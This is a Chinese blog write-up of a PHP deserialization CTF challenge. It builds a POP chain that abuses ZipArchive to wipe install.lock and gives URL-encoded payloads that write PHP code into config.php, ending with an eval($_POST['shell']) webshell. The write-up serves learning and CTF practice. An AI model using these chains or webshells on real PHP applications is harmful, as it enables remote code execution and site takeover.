本文最后更新于 2025-12-19T15:25:39+08:00
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php highlight_file(__FILE__); class install { private $username; private $password;
public function __wakeup() { echo "Hello,".$this->username; }
public function __toString() { ($this->username)(); return "Guest"; }
public function __destruct() { if(file_exists("install.lock")){ exit("Already installed"); }else{ $config = [ 'username' => $this->username, 'password' => md5($this->password) ]; file_put_contents('config.php', serialize($config)); file_put_contents('install.lock', "ok"); } } }
class Until { public $a; public $b; public $c;
public function __invoke() { $this->write($this->a, $this->b, $this->c); }
public function __toString() { return "HappyUnserialize"; }
public function write($cla, $file, $cont) { $obj = new $cla(); $obj->open($file,$cont); return True; } }
@unserialize($_GET['data']);
|
看install类的__destruct()魔术方法:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function __destruct() { if(file_exists("install.lock")){ exit("Already installed"); }else{ $config = [ 'username' => $this->username, 'password' => md5($this->password) ]; file_put_contents('config.php', serialize($config)); file_put_contents('install.lock', "ok"); } }
|
会先检查是否存在install.lock这个文件,如果存在就会直接exit结束,如果不存在就会将$config进行序列化,并将结果写进config.php文件中,并且还会将ok写入到install.lock文件中
这里的$config是一个数组,其中的username是属性username,password是经过MD5加密后的属性password,这里如果将username的值设为一句话木马,不经过序列化后不就可以写入到config.php文件中了嘛,这样config.php就是个 Webshell 文件,至于password因为是要经过MD5加密,所以随便设置成什么都无所谓
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class install { private $username = "<?php system('env');?>"; private $password = "123"; }
class Until { public $a; public $b; public $c; }
$install = new install(); echo urlencode(serialize($install)); ?>
|
1
| O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3Bs%3A22%3A%22%3C%3Fphp+system%28%27env%27%29%3B%3F%3E%22%3Bs%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7D
|

然后去访问config.php就可以看到

正常来说这样一次就能成功读到flag,但是如果第一次我没有读到flag呢,我想执行其他的命令呢,比如换成执行<?php system('ls /');?>


会发现不会再执行了,因为前面分析代码的时候看到了,第一步是会先查看是否存在install.lock文件的,第一次能执行成功是因为原本是没有config.php和install.lock文件的,所以可以成功,但是之后就不可以了,因为在第一次的时候,不仅会将序列化后的内容写入到config.php中,还会将ok写入到install.lock文件中,这样就会存在了install.lock文件,导致之后就会卡在判断这个文件是否存在的那段代码那
所以想要继续执行其他的代码,就要想办法将install.lock文件给删去,这里就可以考虑去看看另一个类了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| class Until { public $a; public $b; public $c;
public function __invoke() { $this->write($this->a, $this->b, $this->c); }
public function __toString() { return "HappyUnserialize"; }
public function write($cla, $file, $cont) { $obj = new $cla(); $obj->open($file,$cont); return True; } }
|
这个类中有一个write()方法,可以接收$cla、$file、$cont这三个参数,在函数内,会先将$cla参数当作一个类,并将其实例化为对象$obj,然后会调用这个对象的open()方法,并将其余的两个参数当作open()方法的参数
看到这个open()方法,结合现在想要进行删文件的操作,就想到可以利用 PHP 原生类 ZipArchive 的open()来实现,在我另一个博客写了:
https://yschen20.github.io/2025/12/18/PHP%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#%E5%8F%AF%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E7%9A%84%E7%B1%BB

这里就刚好是要传入给open()的两个参数,第一个$file是文件名,第二个$cont就是ZipArchive::OVERWRITE,也可以设置成8

至于$cla就是要利用的原生类 ZipArchive
然后就是要看看怎么可以执行到这些代码:
- 在
Until类的__invoke()魔术方法中调用了write()函数
- 在
install类的__toString()魔术方法中($this->username)();这句代码可以触发__invoke()魔术方法
- 在
install类的__wakeup()魔术方法中echo "Hello,".$this->username;可以触发__toString魔术方法
所以就可以构造 POP 链了,EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class install { private $username; private $password;
public function __construct($username,$password){ $this->username = $username; $this->password = $password; } }
class Until { public $a; public $b; public $c; public $exp; }
$Until = new Until(); $Until->a = 'ZipArchive'; $Until->b = 'install.lock'; $Until->c = 8; $Until->exp = "<?php system('ls /');?>";
$install = new install(new install($Until,123),123);
echo urlencode(serialize($install));
|
1
| O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3Bs%3A3%3A%22exp%22%3Bs%3A23%3A%22%3C%3Fphp+system%28%27ls+%2F%27%29%3B%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bi%3A123%3B%7Ds%3A17%3A%22%00install%00password%22%3Bi%3A123%3B%7D
|


可以成功执行了,也可以写入一句话木马进去蚁剑连
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class install { private $username; private $password;
public function __construct($username,$password){ $this->username = $username; $this->password = $password; } }
class Until { public $a; public $b; public $c; public $exp; }
$Until = new Until(); $Until->a = 'ZipArchive'; $Until->b = 'install.lock'; $Until->c = 8; $Until->exp = "<?php eval(\$_POST['shell']);?>";
$install = new install(new install($Until,123),123);
echo urlencode(serialize($install));
|
1
| O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3Bs%3A3%3A%22exp%22%3Bs%3A30%3A%22%3C%3Fphp+eval%28%24_POST%5B%27shell%27%5D%29%3B%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bi%3A123%3B%7Ds%3A17%3A%22%00install%00password%22%3Bi%3A123%3B%7D
|

